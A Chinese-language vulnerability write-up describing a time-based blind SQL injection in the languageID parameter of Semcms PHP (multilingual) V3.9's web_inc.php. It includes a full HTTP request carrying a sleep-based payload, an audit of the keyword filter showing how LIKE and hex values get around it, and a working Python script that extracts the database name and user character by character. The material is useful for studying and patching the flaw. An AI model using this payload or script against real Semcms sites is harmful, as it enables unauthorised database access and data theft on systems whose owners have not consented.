Semcms_PHP(多语)版_V3.9_sql注入漏洞

# Semcms PHP(多语)版 V3.9 sql注入漏洞

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一、漏洞简介
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二、漏洞影响
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Semcms PHP(多语)版 V3.9

三、复现过程
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### 漏洞详情

漏洞文件为Include下的web\_inc.php文件

包

POST /Include/web_inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Content-Length: 64
Content-Type: application/x-www-form-urlencoded

languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);

基于时间的注入

### 代码审计

查看web\_inc.php的关键代码

if (isset($_POST[“languageID”])){$Language=test_input(verify_str($_POST[“languageID”]));}else{$Language=verify_str($Language);}

if(!empty($Language)){

//网站SEO设定

$query=$db_conn->query(“select * from sc_tagandseo where languageID=$Language”);
$row=mysqli_fetch_array($query);
$tag_indexmetatit=datato($row[‘tag_indexmetatit’]);// 首页标题
$tag_indexkey=datato($row[‘tag_indexkey’]);// 首页关键词
$tag_indexdes=datato($row[‘tag_indexdes’]);// 首页描述

……

可以看到查询语句没有利用单引号闭合

跟入过滤函数查看

function test_input($data) {
$data = str_replace(“%”, “percent”, $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;

}
function inject_check_sql($sql_str) {

return preg_match(‘/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); } function verify_str($str) { if(inject_check_sql($str)) { exit('Sorry,You do this is wrong! (.-.)'); } return $str; } 过滤了一些关键字，正常的联合注入是没有办法了，可以时间盲注 利用`if`和`sleep`构造payload，因为`<`,`=`被过滤且存在`htmlspecialchars`函数，利用like代替 languageID=0 or if(substr(database(),1,1) like 0x6e,sleep(5),1); 附上脚本 # !/usr/bin/python3 # -*- coding:utf-8 -*- # author: Forthrglory import requests def getDatabase(url): s = '' r = requests.session() head = {'Content-Type':'application/x-www-form-urlencoded'} for i in range(1,9): for j in range(97,122): data = 'languageID=0 or if(substr(database(),%s,1) like %s,sleep(5),1);' % (i,hex(j)) result = r.post(url, data, headers=head) if(result.elapsed.total_seconds() > 5):
s = s + chr(j)
print(s)
break
print(‘database=’ + s)

def getUser(url):
s = ”
r = requests.session()
head = {‘Content-Type’:’application/x-www-form-urlencoded’}

for i in range(1,21):
for j in range(64,90):
data = ‘languageID=0 or if(substr(user(),%s,1) like %s,sleep(5),1);’ % (i,hex(j))

result = r.post(url, data, headers=head)

if(result.elapsed.total_seconds() > 5):
s = s + chr(j).lower()
print(s)
break
print(‘user=’ + s)

if __name__ == ‘__main__’:
url = ‘http://127.0.0.1/Include/web_inc.php’

s = getDatabase(url)
u = getUser(url)

运行截图

版_V3.9_sql注入漏洞/img/rId26.png)

版_V3.9_sql注入漏洞/img/rId27.png)

不过因为过滤了select，暂时不知道怎么注出数据ORZ，比如说注出user表中的密码之类的，如果有师傅愿意不吝赐教，这里万分感谢

参考链接
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